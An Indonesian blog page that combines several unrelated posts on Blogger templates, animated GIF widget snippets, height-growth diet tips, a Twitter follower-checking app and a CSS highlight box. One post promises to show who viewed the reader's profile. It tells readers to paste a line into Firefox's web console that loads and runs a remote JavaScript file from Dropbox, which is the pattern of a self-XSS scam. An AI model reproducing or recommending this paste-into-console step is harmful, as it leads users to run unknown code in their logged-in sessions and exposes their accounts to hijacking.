3 Template Blogger dengan Desain Unik & Canggih

Posting ini agak special menurut saya, karena untuk pertama kalinya saya me-review dan share beberapa template Blogger unik, menarik, dan sangat modern dalam hal desain blog.

Banyak sekali template Blogger yang dishare secara gratis oleh para pembuatnya. Tentunya ada kekurangan dan kelebihan, tapi saat ini secara umum semua template Blogger memiliki karakteristik yg khas serta telah menggunakan CSS3 dan HTML5. Sebagian berhasil menerapkannya, sebagian lagi gagal karena berhadapan dengan masalah browser, sehingga dibutuhkan hack tambahan agar dapat ditampilkan dengan baik. Tapi adakah yang benar-benar maksimal penggunaannya sehingga menghasilkan desain yg benar-benar otentik, cantik, dan menarik? Ada!

3 Template Blogger yang saya share di bawah adalah sebagian dari template-template Blogger buatan sobat Andre 'Pandet' of urangkurai, yang ngaku "terjebak dalam dunia blogger" sehingga kalo tidur sering mimpiin kode-kode CSS, wkwkwkwk.... Peace! Template buatannya memang unik, karena memiliki desain lain dari yg lain, maksudnya ada banyak kekhasan dan bisa di bilang extraordinary banget. Dan yang jelas, CSS3, HTML5, javascript, dan Web Fonts benar-benar diimplementasikan secara maksimal.

Salah satu contohnya adalah penggunaan CSS Reset untuk menghandle dan menghindari inkonsistensi browser ketika menerjemahkan aturan-aturan CSS tertentu, misalnya line-height, margin, font-size pada judul (heading), dll. Mengapa? Karena masing-masing browser memiliki default presentasi tampilan berbeda-beda, sehingga dibutuhkan penyamaan 'persepsi' agar tampilan suatu halaman sama ketika ditampilkan oleh bermacam browser. Hal ini sangat dibutuhkan, terutama untuk struktur HTML5. Contoh lain lagi adalah pada font-font template, digunakan CSS font-face (@font-face).  CSS rounded corner tampaknya menjadi menu utama untuk mengatur dan membagi tampilan excerpt (rangkuman post) di halaman-halaman utama. Yang paling menarik adalah penggunaan CSS Transform pada tampilan header lengkap bersama menu dan search form, sehingga tampilan elemen-elemen header miring beberapa derajat. Ada banyak lagi penggunaan advanced coding lain yg tidak bisa satu per satu saya uraikan di sini.

Ketiga template sebenarnya hampir sama, dibuat untuk memberikan 3 alternatif skin atau theme dengan warna yg berbeda.

Ada sedikit problem ketika Opera digunakan untuk menampilkan halaman ketiga template ini, terutama ketika ditampilkan pada monitor/layar dengan lebar di bawah 1280px, tapi saya rasa tidak begitu masalah karena Opera adalah browser yg rajin update, sehingga akan segera menyelesaikan masalah ini.

Penasaran? Segera saja tengok 'demo' dan download template-template tersebut!

X6 Yellow Blogger Template

Demo

X7 Blue Black Blogger Template

Demo

X8 White Blogger Template

Demo

Download all here!

Pass (kalo diminta): buka-rahasia.blogspot.com

Yup, itu dia semua Blogger templates unik dan menarik yang saya review dan share. Silahkan dicoba dan review kembali bagaimana hasil penggunaan template blog tersebut pada blog sobat.

Have a nice Blogging!

Cara Membuat Gambar Berputar dan Membesar di Sorot Kursor

 

Gimana ? Seruuuuuu kan ?

Okey jika kamu tertarik untuk mencobanya silahkan simak dan lakukan langkah-langkahnya berikut ini:

1. Login terlebih dahulu ke Blogger

2. Selanjutnya Pilih Rancangan

3. Pilih Edit HTML

4. Cari kode </head>

5. Copy kode dibawah ini dan letakan tepat diatas kode </head>

Selanjutnya untuk bisa menampilkan Gambar Berputar dan Membesar di Sorot Kursor, sahabat copy kode dibawah ini pada halaman posting maupun sidebar blog.


<div id="sundaboy">
<a href="http://gratisfulltain.blogspot.com/"><img src="KODE GAMBAR" /></a></div>


Keterangan :

•    http://gratisfulltain.blogspot.com/ Ganti dengan Url yang dituju pada saat gambar diklick
•    KODE GAMBAR Ganti dengan Url Gambar milik kamu

Selanjutnya kamu coba lihat dulu hasilnya dengan klik Pratinjau dan kalau sudah yakin hasilnya maksimal maka Publikasikan dan selanjutnya terserahkamu

Kumpulan Widget Animasi Yang Lucu dan Keren Untuk Blog

Cara Memasang Widget Animasi Yang Lucu dan Keren di Blog -

Banyak hal yang dapat membuat sebuah blog dikatakan menarik, selain dari isi content atau postingan , ternyata ada hal - hal lain yang bisa membuat si blog terlihat lebih menarik dan tentunya banyak pengunjungnya. Nah selain postingan, disain dan animasi / pernak - pernik blog ternyata dapat meningkatkan performa dari suatu blog.. ga percaya ? cobalah anda berkunjung kesuatu blog yang disainnya polos hanya berisikan artikel saja kemudian bandingkan dengan blog yang berisi postingan menarik dengan disain yang menarik pula . Pasti kita akan lebih betah berlama-lama di blog yang berisi artikel menarik dan disain / animasi yang menarik itu bukan ? tentunya. Dan, memberikan efek animasi di blog itu ga sulit kok, dan pilihan animasinya pun beragam bergantung selera. . nah dibawah ini ada beberapa contoh widget animasinya. Kalo udah cocok, berikut langkahnya :

 Cara Memasang Widget Animasi Di Blog

1.Copy script yang ingin anda munculkan animasinya

2.Login ke Blog

3.Pilih Rancangan

4.Tambah gedget

5.Pilih edit html atau script,

6.Pastekan script tadi

7.Lalu save.. “pasti akan langsung  muncul animasi yang anda pilih tadi” 

selamat mencoba..

1.helicopter

<div style="position: fixed; bottom: 0px; left: 10px;width:110px;height:130px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://content.sweetim.com/sim/cpie/emoticons/00020389.gif" title="widget animasi lucu bergerak atau gif"  alt="animasi bergerak naruto dan onepiece"/></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

2. Ekspresi muka

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/742/th/74214.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">Ekspresi</a></center></small></div>

 

3. Kodok mata gede

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/466/th/46606.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

4 Spiderman

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/3/th/312.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

5.Pig

 <div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/110/th/11046.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

6. Muka senyum

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/197/th/19769.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

7. monyet

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/458/th/45845.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

 8.Doraemon

 <div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/1031/th/103123.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

9.Spongebob

 <div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/1028/th/102882.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

10.Panda

 

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/212/th/21215.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

11.Monyet loncat

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/539/th/53966.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

12.Anime cewek

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/228/th/22801.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

13.Saringgan

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/712/th/71266.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

14.Naruto berubah

<div style="position: fixed; bottom: 0px; left: 10px;width:130px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://s.myniceprofile.com/myspacepic/656/th/65649.gif" title="My widget" alt="animasi  bergerak gif" /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">My Widget</a></center></small></div>

15.Gajah loncat

<div style="position: fixed; bottom: 0px; left: 20px;width:120px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://content.sweetim.com/sim/cpie/emoticons/000203BC.gif" title="Click to get more." /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">Widget-Animasi</a></center></small></div>

16. Lumba lumba

<div style="position: fixed; bottom: 0px; left: 10px;width:110px;height:160px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://content.sweetim.com/sim/cpie/emoticons/000203BA.gif" title="Click to get more." /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">Widget Animasi</a></center></small></div>

17.Kucing tidur

<div style="position: fixed; bottom: 0px; left: 10px;width:110px;height:140px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://content.sweetim.com/sim/cpie/emoticons/000203C0.gif" title="Click to get more." /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">Widget Animasi</a></center></small></div>

18.Ayam betelur

<div style="position: fixed; bottom: 0px; left: 10px;width:100px;height:130px;"><a href="http://permathic.blogspot.com/" target="_blank"><img border="0" src="http://content.sweetim.com/sim/cpie/emoticons/00020541.gif" title="Click to get more." /></a><small><center><a href="http://permathic.blogspot.com/2012/04/kumpulan-widget-animasi-yang-lucu-dan.html" target="_blank" title="Cara Memasang Widget Animasi">Widget</a></center></small></div>

Agar Tinggi Badan Bertambah

      Tinggi badan seseorang ditentukan oleh faktor keturunan (genetik). Namun, pemenuhan kebutuhan nutrisi yang optimal sekarang ini dapat memperbaiki dan meningkatkan pertumbuhan. Kebutuhan gizi berupa protein, lemak, karbohidrat, vitamin, mineral tidak boleh kurang sedikitpun agar pertumbuhan sel, termasuk sel tulang, dapat optimal. Berikan susu lemak dan telur setiap hari untuk memenuhi gizi anda. Dengan cara ini perkembangan semua organ tubuh, termasuk sistem hormonal berjalan dengan baik. Konsumsi jus buah, minimal yang dibuat dari 1 buah apel dan 2 buah tomat setiap hari. Lakukan juga olahraga aerobik (berjalan kaki, lompat tali) setiap hari minimal 30 menit, dan renang secara teratur. Berikan jamu dari campuran temulawak, kunyit, kayu secang dua kali seminggu dengan rasa yang enak memakai tambahan madu. Minuman itu mengandung berbagai senyawa yang diperlukan bagi kesehatan sel tubuh.

Cara Mengetahu Stalker Twitter Kita

Halo blogger dan tweeps, kali ini saya akan post tentang Twitter, yaitu "Cara Melihat Stalker Twitter Kita". Sebenarnya judulnya kurang tepat yang lebih tepat mungkin adalah Cara Melihat Pembaca Bio Twitter kita.

Sebelum kita lanjut lebih jauh, mari kita bahas terkebih dahulu apa itu Stalker. Stalker merupakan bahasa Inggris yang apabila diartikan dalam bahasa Indonesia adalah 'penguntit'. Sedangakan Stalking adalah aktivitas yang dilakukan oleh seorang stalker. 

Stalker dalam konteks yang kita bicarakan adalah 'seseorang yang beraktivitas mengikuti atau memantau kegiatan orang lain melalui dunia maya' Dong gak? Enggak ya? Sama dah kalo kayak gitu hehe.

Oke, langsung saja ini dia "Cara Melihat Stalker Twitter Kita":

• Login twitter anda.
• Klik www.tweepsect.com
• Pilih tulisan 'Sign in with Twitter'
• Pilih 'Authorize App'
• Tulis username anda di tempat yang tersedia. Tunggu sebentar.
• Itu dia nama2 user yang anda butuhkan.

Masih bingung? Okey ini saya beri penjelasannya:

Mutual

Stalker kita yang kebetulan juga kita stalk. Atau dengan istilah lain 'saling stalk'

Stalking

Orang yang kita Stalk.

Stalker

Orang yang Stalk kita.

Selesai, semoga bermanfaat!! baca juga: Cara Melihat Statistik Stalker Twitter Kita

APLIKASI SIAPA YANG MELIHAT PROFIL KITA

Cara mengetahui siapa yang melihat profil kita, sebagai berikut.

1. Copy/salin kode dibawah ini dari kata document sampai tanda ; ( titik koma )

document.body.appendChild(document.createElement('script')).src='https://dl.dropbox.com/s/76iqkbryw3l4c3r/aplikasiprofilkita.js';

2. Wajib menggunakan Mozilla Firefox (tidak bisa menggunakan chrome)

3. Di Mozilla Firefox Tekan 3 tombol Keyboard SECARA BERSAMAAN Ctrl + Shift + K sampai muncul kotak panjang.

3. Jika sudah paste kodenya di kolom bagian bawah sendiri setelah tanda " > " atau tekan Ctrl + V sampai kodenya tertempel (JANGAN ada spasi setelah kode).

4. jika sudah masuk Tekan ENTER dan tunggu sekitar 15 detik sampai muncul kotak biru / hijau melayang. lalu tunggu sampai selesai.

Highlight pada Script/Kode di Postingan

Memberikan Highlight untuk script atau kode pada postingan akan lebih memperjelas pembaca. 

Gini nih caranya :
1. Login ke blogger lalu pilih Layout-->Edit HTML
2. Kemudian copy kode dibawah ini lalu pasang di Script CSS kamu atau pasang sebelum kode ]]></b:skin>

.alert { background: #DDE4FF;
text-align: left;
padding: 5px 5px 5px 5px;
border-top: 1px dotted #223344;border-bottom: 1px dotted #223344;border-left: 1px dotted #223344;border-right: 1px dotted #223344;}

Kode yang berwarna merah (#DDE4FF) adalah warna background kotak highlight, kamu bisa menggantinya dengan kode warna yang lain yang cocok dengan background blog kamu. Untuk kode-kode warna bisa dilihat DISINI

3. Kalau sudah kemudian Simpan.

Cara Posting
Supaya kode/scriptnya nanti bisa ada kotak highlight-nya maka untuk memposting harus pake cara2 tersendiri. Yaitu dengan menambahkan kode ini <p class="alert"> sebelum kode/script yg akan diberi highlight. kemudian ditambahkan kode </p> diakhir script/Kode.



Gampang kan :)